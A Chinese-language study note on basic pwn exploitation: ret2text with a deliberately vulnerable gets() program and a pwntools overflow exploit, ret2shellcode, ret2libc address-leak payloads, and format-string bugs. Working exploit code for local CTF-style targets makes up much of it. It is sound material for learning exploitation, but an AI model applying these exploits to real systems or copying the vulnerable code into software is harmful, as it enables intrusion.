Note for Pwn

ret2text

先写个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

void stack_overflow()
{
char buf[64] = {0};
gets(buf);
// scanf("%s", &buf);
printf("Hello %s\n", buf);
}

void get_shell()
{
system("/bin/bash");
}

void main()
{
stack_overflow();
}

编译一下

1
gcc -fno-stack-protector -no-pie stack_overflow.c -o stack_overflow

丢进IDA看一下

50F1F928D43BE49F01CD4E0260D84C84

这里找到get_shell函数的地址是0x004005EB,接下来我们要想办法让eip跳去这个地址,接下来我们去找栈是什么样子的

5A5E882BF2589AA202CE4EFACF2FA4C9

,这里看到,程序读到v1,距离rbp栈顶0x40距离,我们把这个地方和后边的rbp占掉,所以v1到我们要更改的ret的距离是0x40+0x8,所以exp即为

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.log_level = 'debug'

io = process('./stack_overflow')

shell_addr = 0x004005EB
payload = 'a'*(0x40+0x8) + p64(shell_addr) + p64(shell_addr)

io.sendline(payload)
io.interactive()

B2A8700268436AB2215AFE952BD0FF3F

ret2shellcode

buu上的一道题目,顺便实操了一下栈迁移

shellcode总的来说就是自己在内存里写一个执行语句,然后再让ret跳去这个语句

栈偏移调的过程就不讲了,大致意思就是本身的栈大小不够我们直接写个shellcode,所以就把shellcode写在下面,再让shellcode跳去该去的地方

手动调的时候利用gdb去看自己当前的payload打进去之后栈里变成了什么样子,然后再想办法根据当前的状况的我们想要的情况进行payload的微调

3ED1A92AEF1D8E2DC87B8D5F2C7D8339

win!

ret2libc

程序内没有后门,我们也不知道栈地址时,可以使用这种方法

libc的基址会变,但是偏移不变,我们可以使用泄漏函数地址的方法(got表、plt表等等)来计算libc和当前地址的偏移,从而达到获取libc中所有函数的地址

另外如果使用到寄存器传参,32位的系统会使用压栈的方法,但是64位的前6个参数会被依次传入rdirsirdxrcxr8r9

泄漏函数地址的payload

1
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

获取输出地址的方法:

1
2
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(0x8,b'\x00'))
print(hex(puts_addr))

LibcSeacher

1
2
3
4
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
shell_addr = libc_base + libc.dump('str_bin_sh')

本地计算方法

1
2
3
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
shell_addr = libc_base + libc.search(b'/bin/sh\x00').__next__()

另外如果是ubuntu18以上的版本,如果要调用system,请注意栈平衡问题

格式化字符串

漏洞的产生是因为printf("%n"),当我们能够改变输出内容的时候,就可以利用%n来对任意地址进行修改

文章

用汇编语言构造简单的shellcode(64位&&32位)以及将汇编语言转换成机器码的方法